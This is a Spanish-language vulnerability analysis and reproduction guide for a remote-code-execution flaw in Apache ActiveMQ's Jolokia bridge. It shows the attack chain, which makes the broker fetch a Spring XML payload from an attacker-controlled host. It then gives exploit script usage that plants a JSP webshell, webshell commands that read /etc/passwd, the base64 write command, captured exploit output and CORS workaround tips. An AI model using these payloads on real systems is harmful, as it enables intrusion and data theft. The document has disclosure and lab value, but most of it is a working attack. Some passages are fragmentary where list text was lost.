
Análisis de la vulnerabilidad RCE en Apache ActiveMQ a través de Jolokia y notas de reproducción
| Elemento | Detalles |
|---|
| ID CVE | CVE-2026-34197 |
| CVSS | 8.8 (ALTO) |
| Tipo de vulnerabilidad | Ejecución remota de código (RCE) |
| CWE | CWE-20 Validación incorrecta de entrada / CWE-94 Inyección de código |
| Componente afectado | Apache ActiveMQ Classic - Puente JMX-HTTP Jolokia |
| Versiones afectadas | < 5.19.4 y 6.0.0 hasta 6.2.2 |
| Versiones corregidas | 5.19.4 / 6.2.3 |
| Fecha de divulgación | 2026-04-07 |
| Autenticación | Requerida por defecto, comúnmente admin:admin. Las versiones 6.0.0-6.1.1 pueden ser accesibles sin autenticación cuando se encadenan con CVE-2024-32114. |
| Descubrimiento | Reportado como investigación asistida por IA por Anthropic Claude, después de haber estado presente durante unos 13 años. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/, proporcionando acceso JMX sobre HTTP.org.apache.activemq:*, incluyendo addNetworkConnector.brokerConfig del transporte vm:// puede apuntar a un XML Spring remoto, y la instanciación del bean ocurre antes de que la configuración sea rechazada.ActiveMQ 6.2.3 añadió validación dentro de addNetworkConnector() para rechazar URIs de transporte vm://:
"error": "VM scheme is not allowed"
| Elemento | Detalles |
|---|---|
| Host atacante | macOS con OrbStack Docker |
| Imagen objetivo | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Usuario runtime | amq (uid=33031) |
| SO base | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
Una respuesta con status: 200 confirma que Jolokia es accesible.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
El script realiza las siguientes acciones:
NetworkConnector existente llamado NC para hacer que las pruebas repetidas sean fiables.addNetworkConnector para activar la ruta de código vulnerable.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Versión | Imagen | Respuesta de Jolokia | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Exitoso como uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Exitoso como uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Corregido |
addNetworkConnector() registra un conector llamado NC. Un segundo registro falla con un conflicto de nombres JMX y devuelve un error 500. El script maneja esto llamando a removeNetworkConnector("NC") antes de activar el exploit.
ActiveMQ usa Jetty incrustado, pero el directorio webapps existe en disco y el motor JSP compila los archivos .jsp recién escritos. Esto hace posible la escritura de webshell en el entorno probado.
El payload escribe el JSP usando base64 en línea:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
Beneficios:
<, >, % y ".El objetivo debe poder alcanzar el servidor HTTP controlado por el atacante para obtener el payload Spring XML. Si el objetivo no tiene ruta saliente hacia el atacante, esta ruta de exploit no puede completarse.
Las solicitudes directas a Jolokia pueden devolver 403 debido a comprobaciones CORS. Incluya un encabezado Origin que coincida con el objetivo:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| Script | Propósito | Requisito de salida | Webshell |
|---|---|---|---|
exploit_poc.py | PoC de RCE ciego original que ejecuta un comando arbitrario | Requerido | No |
exploit_webshell.py | RCE reflejado de un solo disparo a través de un webshell JSP escrito | Requerido solo para la obtención del XML | Escrito automáticamente con un nombre de archivo aleatorio |
jetty.xml.admin:admin.